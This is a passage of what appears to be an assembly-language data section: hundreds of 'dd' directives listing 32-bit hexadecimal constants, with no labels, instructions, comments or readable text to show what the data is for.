5DADF25Eh, 1988FFD2h, 0FA6BB705h, 0BE2C93A8h, 6A4DCD98h dd 6EF77627h, 4AFFD2E4h, 4888C830h, 7DCF4DC9h, 8039FFD3h dd 42413266h, 903EAC1h, 8FE9DAF7h, 0B090D658h, 5A383412h dd 9E69D204h, 82838CD8h, 0BC0A45D7h, 499C7729h, 9561BEDFh dd 201F985Dh, 6683CFE2h, 2106EE4Dh, 18F08AEAh, 0C5A04499h dd 662E0295h, 4D3F7E55h, 2F05319Fh, 2FE9D4D8h, 13F56779h dd 3D2B289h, 0F193C888h, 501EE7C9h, 2E6C1A9h, 0A7401090h dd 0DD7F6C68h, 719D6088h, 0D05087C4h, 5B9218FFh, 5FDE7A73h dd 3FDAF10Dh, 10C9B8B0h, 50ADC02h, 6BAE925Ch, 0E92804FBh dd 0CE8697A9h, 58691EC6h, 0B392BF04h, 4AEBDC3h, 0E9D5012Bh dd 90638E01h, 18D55B25h, 95DF314Eh, 0FE5119DCh, 0D27229B1h dd 0F7E66BC7h, 1C525A7Ah, 66D001F9h, 0FD57B353h, 3A1D7E6Ch dd 5A025E27h, 39C3315Dh, 124A9738h, 771A1F4h, 0EEE0D5CBh dd 0E7AE6412h, 7DAE5EF1h, 0C83A7Bh, 5C1D56E9h, 6899805Eh dd 53B626E8h, 23389060h, 0AE91563h, 0E60BC75Eh, 1F804603h dd 0B1FFEFDh, 584B36FEh, 28A7D6F8h, 0D108E824h, 12DEBAC9h dd 0D669BAEBh, 0E785D17Dh, 621B9827h, 3F3B25h, 0A0DAD13h dd 0E0D2D311h, 87EC80E6h, 59CA8805h, 30BBAB68h, 8067B75Eh dd 4DB2F750h, 307C9E51h, 3514DEDAh, 4FC5293Ah, 5797AEB6h dd 69CBAE03h, 18AAEC5Bh, 0C239A518h, 5C5613D6h, 0AA8C0B48h dd 53C4FDDh, 4B6DC3E9h, 1E5AE393h, 0FDA90727h, 0BC5CF5A5h dd 6AC803A5h, 0C4A37E1h, 5D227042h, 59543968h, 0B60F68A2h dd 6572F655h, 5DB7109Fh, 4B579350h, 5C27E623h, 31EF4FF3h dd 9E1AE7EBh, 0FB2CC615h, 0AC08F229h, 0F5D8278Fh, 165C6812h dd 0E6C11F64h, 0B03A7E9Dh, 30B5636Ch, 7E79A588h, 0ABDCBD06h dd 789595Ah, 3A835DEAh, 33C1088Ch, 17DD788h, 0E05501BFh dd 4F406F76h, 8502AD91h, 90732AE9h, 35574FA8h, 7C310265h dd 32C0A636h, 0DF886AC0h, 96B6ACBCh, 64F842B8h, 1099B08h dd 0A71875E7h, 0ABD087B6h, 31BE5A90h, 3C282186h, 71D2C1E8h dd 3F300770h, 94F5F6D6h, 605A51D8h, 5F808D51h, 69F1002Dh dd 0EA81627Eh, 644807DDh, 0D2C21CBFh, 523E2F09h, 4108833Ch dd 0E16E14DEh, 11452126h, 2B754084h, 0CF4F69CAh, 0C6D330F9h dd 9FB3E99Ch, 59FD4DE2h, 86E54FEAh, 0E128BB32h, 0F7009E7h dd 6AD215AAh, 98776920h, 0DF124FEh, 0C14909B9h, 0FC837309h dd 0B8D424CFh, 733E17A0h, 0D6250807h, 2D269980h, 0DFDE17EAh dd 4077B1D9h, 5921F413h, 35055B4Fh, 4C90BAF3h, 0E8D0F6E8h dd 9A8297C5h, 87DC0BEDh, 7BEB013Bh, 0B450D328h, 851038D7h dd 3A63E32Eh, 166946E4h, 57012332h, 0E9C1927Ch, 407BD34Ah dd 265DF711h, 55245216h, 7A026E53h, 5445A166h, 393F02FDh dd 0CF62548h, 5FBE1F04h, 5D53EFD1h, 0AD02C6Eh, 5EFED74Fh dd 53B412A5h, 0C420AF32h, 4B2E4064h, 2D972806h, 0A9600EA2h dd 1B1869C6h, 230C7243h, 9EE37227h, 3F08A031h, 4F5AA5E9h dd 0A4D6F852h, 11FC12C9h, 0F501ACA9h, 0B9422F2Dh, 6C79FC68h dd 8581D4CEh, 0B650C11Ah, 6055E48h, 7FC8E31Eh, 164B6092h dd 0AA6DD6B8h, 5E33B09Ch, 932AA36Fh, 54521244h, 0A151E9BBh dd 102C820Eh, 398900E5h, 0E965AD77h, 0A3668425h, 0F241C39Dh dd 30E7FE24h, 25051128h, 0EE00C1ECh, 0CE814E04h, 93A7F0Eh dd 91C0E938h, 2D5D16D5h, 0EB13A0F6h, 291BBDC3h, 9E36C821h dd 5BE071Eh, 0A2698B72h, 7B7DF002h, 2B470C06h, 2D045836h dd 29137C5h, 993181ABh, 6A293F83h, 3DFD8344h, 0AD40C655h dd 152597Ch, 6BC98173h, 3A23857Bh, 63F73BF0h, 9DA16D9h dd 0A3E96490h, 0B120E6B4h, 0D17576B5h, 0F6206A69h, 50F334B8h dd 17C9971Bh, 4E6F0F5Eh, 6B2E6508h, 27601D32h, 4CE26BF6h dd 7CD9D7DFh, 0FF92428Bh, 3FF480C6h, 3EEE48B7h, 953BA62h dd 3B825BF3h, 119CBC7Eh, 0A954ED59h, 0D5EEB454h, 1298FB53h dd 0FCCB4DE9h, 48FDBF04h, 0F789809Ah, 634E3A0Bh, 72F2B401h dd 127F5FF9h, 840DBD6Bh, 0C25ED95Ch, 0C6E08EAh, 0DE700DFh dd 12C5Dh, 9BF57D6h, 9764B36Ch, 941AE916h, 20791521h, 41DE913Eh dd 6DC71023h, 52210FD5h, 3CABFA29h, 84FF234Ah, 3AB5EEC3h dd 0B76BBEF8h, 0F15B2174h, 0B766798Fh, 0F3224412h, 43305A5h dd 0EE61618Eh, 17ECCE9h, 14CBB3Dh, 973C20B4h, 5E884140h dd 68D1A1C6h, 7CEC18F5h, 17ACEDB5h, 0FCDF4276h, 0F12113E6h dd 50B62CBAh, 96645764h, 0EE6931BBh, 0FF0EAD65h, 0FD3FC01h dd 9914125h, 0C5E18195h, 3E940B29h, 7564CC20h, 0C72EF323h dd 3FF5F1B8h, 4306C551h, 0BE854AEAh, 4F4BA3A7h, 0A8736DAAh dd 66F1CFF0h, 45838E2h, 1C474372h, 1B5F804Bh, 0A2C59014h dd 9E304CC7h, 3C060B5h, 0C5FE07EDh, 80B1B753h, 0E799DBEFh dd 36E0DA77h, 5B7FFD28h, 278AC097h, 0B0CF7688h, 0DAC73831h dd 6065997Fh, 8015B652h, 1E26C538h, 0F06766F5h, 0BF7C27EFh dd 55F0A775h, 0A1B04394h, 745A7266h, 2D564C5Dh, 57680C5Fh dd 5B5C9CC2h, 282A7C81h, 0E8278BAEh, 32762D2Dh, 5A326EB2h dd 63D6A0F7h, 0AA1E1B30h, 3945DDD0h, 9E2DFDACh, 5DD2252Eh dd 7CEF6B7Ch, 7FAF9D1Ah, 605F9340h, 0B8C50980h, 0F3ED548Bh dd 7A2413F5h, 275501D7h, 0F018CC4Eh, 3D136EE1h, 500141CFh dd 77346FB5h, 35E31882h, 0E7E11627h, 8BE62A13h, 0B73AFD7h dd 5A26F1CFh, 422CD438h, 27BB00BFh, 6EE953C2h, 0FE95A870h dd 0E0E978FEh, 68099396h, 0A97EF9BCh, 515C2E93h, 90AF7866h dd 0DFA11082h, 5FD83075h, 0F430590Ah, 0B338E3B0h, 0F5F39F80h dd 55A3E1C9h, 86D6D218h, 312A7C89h, 4D75207h, 0AC16C0EAh dd 0F0FF3C14h, 7C9FE3F3h, 6853C022h, 0BA051CBFh, 0D72BE94Fh dd 93E8AA7h, 0D0CC1CA5h, 41A9846Bh, 0FE2AC1FFh, 77E2DA71h dd 10B986Bh, 0CC86D752h, 3BCA451h, 0E9213174h, 184F8BB0h dd 40E3B1B4h, 0F812884Bh, 30A1C0FEh, 99AEB343h, 0C6D83DEEh dd 0E9FCE172h, 8DC460CAh, 0F92023EDh, 4C4926B8h, 32FE5A32h dd 7250EC2Dh, 77DB0504h, 0CBC554F7h, 0CA4A97F8h, 5FFB6B19h dd 9F4B1796h, 0FC2F33A1h, 0FC97F1CBh, 6B9E8D6Fh, 0EF7E08BDh dd 294B3E38h, 54EE2F70h, 805BA0C0h, 1FCAB9EFh, 70199E2Dh dd 0BE2978DAh, 8FA85801h, 0EB9CAFBDh, 0A34E5564h, 2DEA8B4Ah dd 65FA2EA0h, 0F34F083Ah, 5FD8310Bh, 7B1A9345h, 4C5077C3h dd 185E7620h, 6E8EB80h, 0C37D28ACh, 0A0A62D2Fh, 37569A35h dd 68551722h, 7882F34Eh, 3E3D4002h, 786FE97Ch, 70B5647Eh dd 1285F8F5h, 70D86B2h, 4CF408CFh, 2E80EC0h, 84F85B2Ch dd 0F5C0EC22h, 85FC77C1h, 1C50B7E0h, 0C044EB97h, 4A415B66h dd 4D31EA5Eh, 70F6E9DFh, 0C5DCB71Ah, 8CD3575Ah, 5235804Bh dd 0CE7A96E9h, 78A2C31Fh, 1AFF15D5h, 16CD567Ah, 418ABB5Dh dd 0E244A59h, 0DBE5A7D7h, 527CD425h, 0B10178F2h, 0FED1F623h dd 2BC980C1h dd 0EC72C9CCh, 67464F1h, 98EA17F2h, 6E6F3552h, 9BF2C00Ah dd 0EC03E2C0h, 12C762C2h, 9BE2285Dh, 0B39E322h, 64352C02h dd 0DB322539h, 0DEB53944h, 73709124h, 5BD0BD0Bh, 3D4202ABh dd 6FF37E7Fh, 0E06027FAh, 0F3301270h, 0F8F00C15h, 32059565h dd 8216D50Ch, 986A5F92h, 10D8F4C2h, 68CA7200h, 4D3FF181h dd 0A01E5B9Eh, 0D7502958h, 0DB4FD6B5h, 0EAF664BEh, 1C2854E2h dd 18F5EC41h, 4E37D945h, 762429F7h, 0D600241Eh, 0E90CCC24h dd 0FEB35AF9h, 41F56268h, 0D2803E5Ch, 0A8215268h, 827148B4h dd 0ECCD8975h, 23E00410h, 0FE094308h, 0CEEFE38h, 4E516469h dd 44B5083Eh, 0C95F13E4h, 49A13F4h, 0FB654FE4h, 0BC4FBEE2h dd 99D13E9Bh, 0C6E793B9h, 87379C3Dh, 0B6E590F0h, 4B60E413h dd 7FE7ED0Eh, 3F7E4844h, 846D5402h, 0C2FD0175h, 41B4D712h dd 802F89BAh, 0BD385B9Ah, 4B8EB390h, 0CE05D9B8h, 0CB1C2D3Eh dd 4EB81E2Bh, 212ECB45h, 84A4B2FEh, 0DB80E6D1h, 4AB3020Ah dd 0FE1D8408h, 6F71B7F1h, 985EF0DCh, 3833272Fh, 2D1AE98h dd 49799427h, 0FDCCC5ADh, 54C063CBh, 35F2204Dh, 2134DC40h dd 10A29D4Ch, 593BEBE0h, 40F86426h, 481A5EBEh, 62BA294Bh dd 30C150A7h, 77840456h, 3AAD0B81h, 0AE275685h, 0A3880402h dd 0F75F0174h, 6BE447D7h, 0AFADD797h, 1B855006h, 0CF30445h dd 0FE294335h, 0FC34C292h, 8940A538h, 384F68F8h, 8CCDC01Fh dd 26D93B62h, 4A7DAAF4h, 76D4E35Ah, 28EF2C4Fh, 5B419628h dd 0A388700h, 0EC726088h, 3B941DAh, 7F5EE91Bh, 0CC68A022h dd 3ECC950Dh, 2076271Fh, 81D8569Dh, 4A48A516h, 0AD10AAAEh dd 85834A07h, 3368005Fh, 21659246h, 789D5BDDh, 1BD49FDBh dd 2691DB00h, 6723E999h, 72D6F350h, 744670DFh, 767B71A8h dd 485B880h, 95BDF22h, 58218BC3h, 71860CFCh, 1C218B2h dd 2E06EB05h, 0EAE9D331h, 839468FFh, 1E18973Fh, 558198F4h dd 0C5EBA13Fh, 0E4B64214h, 0AF4FDBD7h, 0EB071955h, 5E6145FCh dd 4D5A573h, 0B8F40508h, 3EB1B6A5h, 8033DE8Ch, 0FA747259h dd 0D74B137Dh, 0AD00FB44h, 0FE39497Bh, 97EB7989h, 62D14906h dd 721D46F0h, 0CB810968h, 17F27870h, 97DD6020h, 508D9551h dd 0A83A10B4h, 99E9E0C2h, 28BB944h, 25416887h, 0CE8B9D59h dd 5FB8897Ah, 300205E9h, 0C12F7E0h, 0DDE83925h, 0EF43D600h dd 503B82Dh, 3145B507h, 53605FF8h, 97FFD00Ch, 5E6AA2F5h dd 56D2DC51h, 30D80A30h, 1616B850h, 0BF745361h, 8543E11Ch dd 264AA740h, 4BEFAEE2h, 0CD6B87Ah, 0FAEFC4F5h, 68ECA7EDh dd 3CAA71F4h, 4533E92Ah, 0ABB10A0Fh, 992FC380h, 0CBC139C3h dd 60D67671h, 0BAF67312h, 602C1721h, 5BBAB08Bh, 3CAE0F1Dh dd 66B5EA93h, 0D718F12Bh, 885B8113h, 2ADA4B1Ch, 5A854348h dd 0D2CDF96Eh, 2CFCC995h, 706C2914h, 0CE45FB4Ah, 2FD87FE2h dd 2DFE2568h, 92805D98h, 207BA80h, 689AC7D9h, 0C566210Ah dd 492094A0h, 0B0C02C4Eh, 13935B8Ah, 42CDE925h, 6C840F3Fh dd 0DA68C3A1h, 0CA1C7816h, 58240334h, 0EA4F6F10h, 0B7F0FF12h dd 0E47612A8h, 9189023Eh, 9E60947Dh, 0C7975192h, 20272016h dd 4A995407h, 69E07927h, 753121E4h, 1E2D1280h, 4022E06Fh dd 18900D0Fh, 4FE6D82Bh, 7A062545h, 13DAE47Dh, 5CDC631h dd 0AF5AD022h, 0C16E1E3h, 0E79DEEC3h, 82D9EC6Bh, 79E4E5E9h dd 8F6C8870h, 0F64BD01h, 743239EEh, 0EA2A94Ah, 2B3188EDh dd 283A7E67h, 0FD85955Eh, 9AA4EB5Ch, 715845C5h, 66937E4Bh dd 56F7F25Fh, 0D0290EC2h, 0DD21F0E9h, 2A06E2C1h, 0B922030Ah dd 61BA1919h, 18811FDDh, 6C5D1DEBh, 9CCB400Ch, 2F402C6Ah dd 9B1318B7h, 0ADBA1861h, 971A316h, 92964246h, 0EEC6048Bh dd 0AA074AD2h, 411C28C6h, 10283CE7h, 680BD760h, 0C83071F3h dd 0A62854C1h, 0F10EB978h, 0C0626A31h, 9D5C0EF2h, 2AE69720h dd 15122490h, 1AF6249h, 0E4E906EAh, 0B5AD7A90h, 1EB353C6h dd 20FD4555h, 40BD0E0Bh, 8604371Dh, 224910F0h, 0A9C58B8Ch dd 3000655Fh, 85D8E907h, 0DC2D75C9h, 0B8059376h, 6DE88380h dd 0B951B886h, 41B022Bh, 75CAE960h, 92057452h, 316B8BBBh dd 0D42747E8h, 560EA5Ch, 0B714E345h, 77D399E0h, 175DBE80h dd 0FF747267h, 0A0C92584h, 8E90C01h, 0A84A162Fh, 92F3C558h dd 0BB34D4h, 9819F654h, 0D4A05D6Ah, 0B880AFC3h, 0E27E035Fh dd 8E0C114h, 83C70750h, 9BB2A40h, 533464Bh, 28B7E8D5h dd 6DC4845h, 0FAD64F70h, 22936B27h, 0AC13CCCBh, 0B781E427h dd 0E900155Eh, 7D97C93Dh, 45263A10h, 0F735E200h, 4BE3D1DBh dd 5BB525E9h, 300A0D48h, 0AF09D53Dh, 7F28628Eh, 0F1CE9A48h dd 66157118h, 2F50FE0Ch, 0D50F53F7h, 0D841F6E0h, 259F5ACCh dd 90EEC367h, 0A343E963h, 0F1E95BB4h, 0CBB881EBh, 607D3529h dd 8009BA1Fh, 5F379114h, 5969AF7Ah, 2D33F258h, 14F5EDCDh dd 0FA5A971Bh, 0E895367Ch, 33C76A05h, 0B592F087h, 1EE0C02h dd 0DCFBE9D9h, 0F3280E65h, 0B2927DE4h, 0DDE240B7h, 0D7FBA055h dd 0EA29C4BFh, 695BAC4Eh, 807BE3C3h, 0BC462B68h, 2AACAB9h dd 29C443FEh, 18FB63DFh, 281D9598h, 7D1798BDh, 83AD4CFEh dd 2E0C3B73h, 77E94585h, 0E050FAA1h, 0E3067FD4h, 0C9B74ADh dd 290CCCC6h, 0C039C118h, 5F303C0Dh, 84197A8h, 15CD242h dd 0CC59E580h, 890C9F5h, 0E610C89Dh, 322526F6h, 0F8EE0248h dd 3041043Bh, 5F4B7CC5h, 0D5C369EEh, 20707588h, 9304EB60h dd 0DD895AC6h, 40C40804h, 87B2C5EEh, 533FF6E6h, 3078B067h dd 0C127F8A8h, 0A43B51B9h, 3DC9026Ch, 841A5972h, 31099684h dd 0C8C2487Fh, 341C955Fh, 772060B8h, 0EBBD0368h, 453BC75Fh dd 0EC6D878Ch, 0CD763111h, 28C9FDF0h, 82956557h, 4BCB08EFh dd 18E6745Dh, 0AAE971FBh, 0EFB77D60h, 4B0508F8h, 1110AA58h dd 0E5B3008h, 12A1E165h, 4228E9AAh, 0AEF802Dh, 8D239089h dd 0D192D9F6h, 0FF16E0DCh, 105F985h, 0FEE48722h, 1B4A48F4h dd 6BD5487Bh, 59D1E780h, 88DE2E24h, 1694F384h, 5A889785h dd 0D39809C5h, 0A8002A91h, 1ECAF228h, 0E8F76BDh, 0C2CA5DEAh dd 0B52724F7h, 0B16BA9FBh, 0C7533250h, 398C2DDEh, 0FA81ECD9h dd 4B0D123Eh, 39B95720h, 0AC4E3421h, 1A8B206Ch, 6CFBFFBEh dd 5DE2E41h, 3A355790h, 0F1714A6Eh, 795FCE8Eh, 56161738h dd 0C027A989h, 6ADE664Ah, 12682D57h, 13BC2251h, 7F4426A3h dd 0DF516465h, 30E18813h, 0D7B45087h, 421A56BDh, 63766021h dd 55D2288h, 9122CACh, 11F5A1D1h, 54031A94h, 0C23C1BD9h dd 5238565Fh, 82D5124Ah, 549621h, 6E3C05Ah, 61D67E97h dd 8FD5F62Ah, 0A3C06890h, 0C5CCFE08h, 0E9B0E0BEh, 0E0F1D04Fh dd 0C573BD2Fh, 0C081BF0Fh, 69707Ah, 0EEFF548Bh, 467ABFCEh dd 511F4E63h, 0CB0497B1h, 4F203EB8h, 1E4E5276h, 647EBBA1h dd 2CCF3CEh, 5F2ABD55h, 8440F5D4h, 765B3AB6h, 8046EBC0h dd 0A3EB5A09h, 0AB5C2CD8h, 0DB1B5401h, 286E5127h, 0D83868D2h dd 0E94E0955h, 586CE1F1h, 4209D031h, 0C380AE83h, 80559ECh dd 676FE9D3h, 0EAD64EE9h, 8859344h, 3C77FF02h, 0E2D6F9F5h dd 0BE7A0237h, 0F364BE0Ch, 0B5945A7Eh, 687098DEh, 3F1264CEh dd 4E0EA8DFh, 0F1F113BBh, 0D697D3D1h, 810F064Bh, 0C1044ACFh dd 7963E927h, 0DE8B30BBh, 0A200EED1h, 3BD04DE5h, 63A9C6C1h dd 0F7201A7Ch, 61E0F415h dd 77070C2Fh, 0C7FD20CAh, 6219A10Ch, 3B7AB223h, 0F669F61Dh dd 308BD08h, 101E685Fh, 62BDA73Ch, 41E4C5E5h, 97707FBBh dd 0CD21075Dh, 72FD8759h, 1FD40801h, 2EB16465h, 0D8EF1742h dd 0F7C94086h, 97D9C7A2h, 244CF62h, 84410166h, 61743158h dd 0B6C0011Fh, 0AC162A60h, 5B0EDC19h, 19E50C84h, 0A0D0C23Dh dd 8A805509h, 25C13BFAh, 59D1312Dh, 0E5C66281h, 0CA078408h dd 0F0296C5Fh, 4E73FC96h, 817FB834h, 0A354DFE2h, 422EA461h dd 56D30108h, 3B92E4F5h, 2CAD33B3h, 63BAE3E0h, 8CA0D676h dd 68802261h, 7D1C62D1h, 1045768Bh, 0E2E4DEA5h, 5805ADABh dd 0C757F4FAh, 4B8BF940h, 4F00DA2Ch, 0CD63DFE4h, 0C7885373h dd 0DCB63A62h, 0FFBF04B9h, 7C36A88h, 3B6420D5h, 388576E9h dd 0E1DD87B7h, 0B0812AB4h, 4B648721h, 44E0FDC3h, 62069C91h dd 0AC0105A2h, 0C4C9D604h, 1E3F8FE9h, 28C24735h, 0B05994D8h dd 0FE682905h, 18CB654h, 0BFB07AEEh, 0CE5F43A2h, 4D02800h dd 6F67DFAAh, 515C7E94h, 2EC97D5Eh, 0B485005Fh, 953A4F33h dd 0F94468DCh, 0ED2F55E1h, 0BF68A05Dh, 9AC0A871h, 0E1A9D616h dd 4A54CE3Fh, 0D9BE5717h, 5EAA0290h, 1C618EAFh, 0E9367238h dd 50022CF3h, 106CCD4h, 0F1897EC9h, 0F9C31F82h, 1E7B1F30h dd 8EB14CBh, 0F4C5E84Fh, 2641C185h, 391F6850h, 0EAF48F3Ch dd 0E98238B9h, 4D7A5979h, 0C02D7AEAh, 450B7F52h, 0E944B0D5h dd 24184FAEh, 13E8AB76h, 6C2E702h, 20EB2A20h, 0C1680309h dd 612AD97Ah, 0ED55F929h, 0CEE13BCDh, 4BEA1630h, 96F4E393h dd 57C50F17h, 7093E0FAh, 776F7F14h, 5FB94AE7h, 92E9AC63h dd 0C70747CEh, 832F29D2h, 0CA79B6B2h, 4D42AAh, 856419A8h dd 0B029505Bh, 0E908A0C3h, 43B56411h, 0EBE4AFEAh, 17746008h dd 0A37D2C1h, 0BA2ED67Bh, 54620098h, 6A39C15Bh, 0EBAE8C2Fh dd 98C9784Bh, 27216ECCh, 0C6F826D2h, 40F69E80h, 1E0CED30h dd 4AF031F4h, 0B20F8FCh, 0DC3886E9h, 44F298C1h, 0F69FBE76h dd 0B73E2898h, 0EA05D7CCh, 6B7D0E7Ch, 9D112C2h, 524C98D4h dd 16BD60CDh, 63799BB8h, 0C531071Fh, 2B80E412h, 0E65290B2h dd 0A5F4BD3Eh, 0C2800803h, 0A37686C9h, 0DE2078B9h, 8A71270Ah dd 0EEC052C4h, 1C8DB6D4h, 0C359CE28h, 0E30E9F0h, 66EE2274h dd 7A6DF49Fh, 61189A5Dh, 0A24D9C20h, 281C1930h, 99919FCh dd 7DD886BCh, 0C973198Bh, 7FE78916h, 0A74E681Ch, 0E2A43F51h dd 0E022105h, 59E246C0h, 3D44023Fh, 0AF2E942h, 1B26DFE4h dd 4BB07B8Dh, 0B02EC580h, 41494A4Bh, 384579ADh, 540CAD76h dd 0BE0CB4BBh, 5E04EFA4h, 882CBA69h, 4BACFEC3h, 49028B4Fh dd 82D17A0h, 649837E3h, 393776E1h, 78463Ch, 654D13B8h dd 13B82D0Eh, 0D21FD62Dh, 0E13727E9h, 566AF054h, 70D0A644h dd 0E0823105h, 0E20FBC1h, 94F39794h, 4053C80Ch, 80CE0EB6h dd 0F00950F6h, 6223CC82h, 7DE9E254h, 3B60B7DAh, 0E26852E3h dd 1B352557h, 4002EAE1h, 5936D7BFh, 642FB890h, 98E6A28Ch dd 9EFAD5CFh, 0F655532Dh, 8C05E11h, 0FE5A43BFh, 5D570572h dd 4A6FB1E9h, 0B4C09EBh, 0E4754EEFh, 92C90EEh, 63C25049h dd 73D9D100h, 9B953FE0h, 0E952F8FEh, 7976498Dh, 0C9FA2116h dd 0F97DA5D7h, 14F72700h, 9F3CF820h, 31E35965h, 8CC97D0h dd 0C50B4FE9h, 5A81B942h, 0E9F0F0A9h, 0BD9A98FAh, 0BF57097h dd 201A1C34h, 5D128FDEh, 8A2578A9h, 9768AF83h, 262D91F5h dd 42BC054Dh, 6A7B84Eh, 9403045h, 0A7E91612h, 7798EB95h dd 0CD734F4Bh, 99FC6A11h, 6FDD5189h, 7E7BAF22h, 77685502h dd 26C02867h, 0A5931AECh, 0DE0E0C44h, 0C06C0E67h, 0CB69CCCFh dd 970CC105h, 3135A757h, 2522D418h, 22B1485Ah, 3A23F0CEh dd 75A85DA8h, 2DA191BEh, 0F195A546h, 915362F9h, 37EBD3F7h dd 0B6D9970Dh, 0C4B108CBh, 0EA48E962h, 28F05D5Fh, 2041E497h dd 0D6BDC2AAh, 95896F73h, 6EBF1870h, 0D1C29502h, 37CDECDFh dd 6E5F8C59h, 0B87ACBE5h, 0E895D284h, 812740EFh, 0BD6C9FE5h dd 0DDF73812h, 0F00C34FBh, 66316827h, 8E03BB4Ch, 6EDC8801h dd 0BF5BE5A0h, 5D274B79h, 2F96089h, 74E44D8Bh, 27B38E61h dd 20DCFF12h, 0AE915AA0h, 0C03FC629h, 7F15057Bh, 0D4422F67h dd 565377A9h, 6BC07396h, 247B6468h, 94B4688h, 0ABCB725Fh dd 7B2A1ED3h, 0DAF4ECD8h, 38BE655Fh, 0C99A28C8h, 0CC97A9B8h dd 5E6D9841h, 4A08C22Ah, 80CD86C0h, 0D436CA27h, 0DDEA0BC6h dd 44E98E02h, 41175FFEh, 3E8ED6BEh, 0B020942Eh, 36DC801Ch dd 0CE72F7CEh, 8F68C2C7h, 82EEF947h, 0F4884EB6h, 0A601AF60h dd 40E46082h, 96D582C0h, 1759B90Ah, 0FA64EFB0h, 6C6DF4EBh dd 848C180h, 7C29352Ah, 0A82B820h, 92287E57h, 3B12E15Fh dd 51D0B894h, 5C7D113Eh, 702DAA14h, 3428DF20h, 0F70B4F85h dd 8EEBC1DBh, 5EBE6372h, 0D98816B1h, 2DB2FD5Bh, 0B725DF59h dd 0A991EAA3h, 0EED85DCDh, 36F5EC67h, 18021A99h, 5A159608h dd 9E2021Fh, 67613B1Ch, 1BEEC828h, 79B5EBF2h, 0B1E26ABh dd 69276BE6h, 7041134Ch, 9778FD2h, 241C52Dh, 50916853h dd 715899B0h, 0EFB00350h, 482F7300h, 0C7BD5518h, 346F1F69h dd 0FE90B21h, 1562AA5Dh, 0F2D75C25h, 0C720CA44h, 8594B584h dd 0E447C19Dh, 2912CE7Ch, 0BA70D5D3h, 4A21E528h, 89C9F247h dd 0B4BF6069h, 0DC28260Ch, 0E788C166h, 463B2058h, 0F152304Ah dd 68B0F8A8h, 53C41651h, 0B6007E43h, 56C680AEh, 8995FCF4h dd 0CCD1D501h, 17F55CC6h, 27F529E9h, 0FC6C75E1h, 814B25DAh dd 288E6E95h, 3C82A17Fh, 0F6A44FDBh, 4961107Eh, 2B5A0263h dd 2129320Ch, 8F3B7FE9h, 0E663EDFDh, 0FCC97EF1h, 20AB62Ch dd 0F3085966h, 0F6CB02E0h, 480D33Ah, 7539E938h, 8A5AE9ABh dd 9DE2805Ch, 0D6E67F51h, 0C9A80E34h, 0CBD59583h, 4E22EEADh dd 0BF12FABBh, 1483DB9h, 0A3552D12h, 7BF24B53h, 2AE0A84h dd 7D05F001h, 0A52757C4h, 0FDA668CCh, 0E6E9C32Bh, 3CD12CBAh dd 0F47C3046h, 3EE05D82h, 5F654A33h, 30AF8BB6h, 0C0E953EEh dd 0AA412FFBh, 63F56CA7h, 3599FC6Ah, 43005F85h, 53FFF1EFh dd 0FD8926EDh, 5652C0B3h, 1F135B68h, 0B00535C3h, 0FB9992A8h dd 68D1902Eh, 0DFC90BB9h, 2572D4A9h, 5EEBB251h, 43C5ACBEh dd 304F4A2Ah, 8BD869AFh, 48316832h, 0D40C3442h, 8102EEFh dd 81BE030Eh, 0D47B461Eh, 9E77B813h, 0ABC4B012h, 56A88BFAh dd 867610AEh, 0EBEC582Fh, 137A2D20h, 8C2E2868h, 7917F071h dd 0D6ED375Ah, 96E7E90Bh, 5FFB13A2h, 2791F0DDh, 773A9F8Ah dd 335A29C2h, 0C2B7C50Eh, 0C2FE37E1h, 0B85D3C35h, 8284FA5Dh dd 490EB040h, 0D19E12Ch, 18C8308h, 0EE41FDBBh, 77CAEB7Ch dd 9DF7C3C9h, 0DF015FCAh, 6AFBB951h, 5B3FB7E1h, 0A49EA6BDh dd 6127C230h, 2F5071C5h, 0F66B20h, 2FB95A88h, 8FC6DB74h dd 92ED76C6h, 0C4847A9Fh, 38DFEDBh, 0C234CC80h, 5BF76AA4h dd 676A311Bh, 6955D5F9h, 5C016EDh, 93553119h, 5C7C4CD9h dd 82ECF25Eh, 5F506866h, 8AC1B7Eh, 0A7607116h, 50DBE951h dd 0CEE6C50h, 45308D5Fh, 202C960Eh, 0F5017046h, 6D9D3291h dd 2E3EE13Ah, 81E670BBh, 5B9F02C6h, 0DC0ECBEEh, 0D5B92750h dd 0AB313805h, 2687990h, 0B84FA96Eh, 0B424FA8h, 48E83112h dd 4DFEA0D7h, 5116285Eh, 0C9341268h, 0C83C1225h, 5DF10806h dd 62FA5017h, 0C2A48D88h dd 0C881C166h, 544C30F6h, 1EFA04E3h, 11C91847h, 6202C781h dd 0C15AE80Eh, 2ACF4EFh, 250A38Bh, 85D962FFh, 8A433532h dd 8501F280h, 2CB11BB8h, 0E3F8C145h, 6C63C1A4h, 0D0A80525h dd 3441DB1h, 0B056DE80h, 5BFBF6F5h, 5F90D0E1h, 0B800505Eh dd 30E41ECEh, 0E25D8F7h, 71C10651h, 411B44A0h, 68000D07h dd 48452360h, 27142135h, 365876BCh, 90890220h, 0EE3A1DFh dd 34255422h, 32842E59h, 72C1B050h, 84C3066Ah, 2AE58931h dd 21C979FFh, 0D15FC2E5h, 9AC44FD6h, 0EB099450h, 4DA5D497h dd 5C1A83E8h, 89037A58h, 29004C66h, 15A92C46h, 2C61C981h dd 1908F7Fh, 0E46D3EF1h, 59E14048h, 0FC16055Dh, 8FF031A7h dd 62102DE9h, 0F881309h, 0F783F08h, 5088730Eh, 9389FACFh dd 0E727C454h, 1F688418h, 0C126F813h, 798B235Ah, 9D10DE72h dd 59581776h, 0E34FA5F8h, 2BE9C3F2h, 5ED0587h, 0B17D6CEAh dd 0F15B40C5h, 354C3140h, 41FB5E10h, 272D9A3Bh, 11857BD9h dd 7BA299AFh, 4B9CEA8h, 4A40DBDFh, 150C3B90h, 0A43F4F0Bh dd 5409F3B9h, 7003F0B1h, 1FDE20DAh, 943B5B4Dh, 17AA4AD0h dd 899A2516h, 2BA82A61h, 4EC4E913h, 326C665Ch, 0E99E2710h dd 52146049h, 222086BAh, 53687D83h, 502CC160h, 0EF40134Eh dd 2DD2862Ch, 8D60A777h, 0A928798Fh, 6F0A8A64h, 961D4841h dd 4344F205h, 2B9FB40Bh, 8773510Ch, 0E4585A5Bh, 4F53E00Bh dd 3DE6D0BFh, 1109336Bh, 9871FD01h, 0C0EB2945h, 0A11F931Eh dd 4B924A48h, 2C5BCFEDh, 294A7258h, 497B64E7h, 0E94F8FDCh dd 8CEFD2A1h, 5564A93Bh, 0FBB97447h, 4CC1EA01h, 0DB016D54h dd 889C2C2h, 7AD95882h, 8827FA51h, 9D487A25h, 0AE219B00h dd 0C387BA70h, 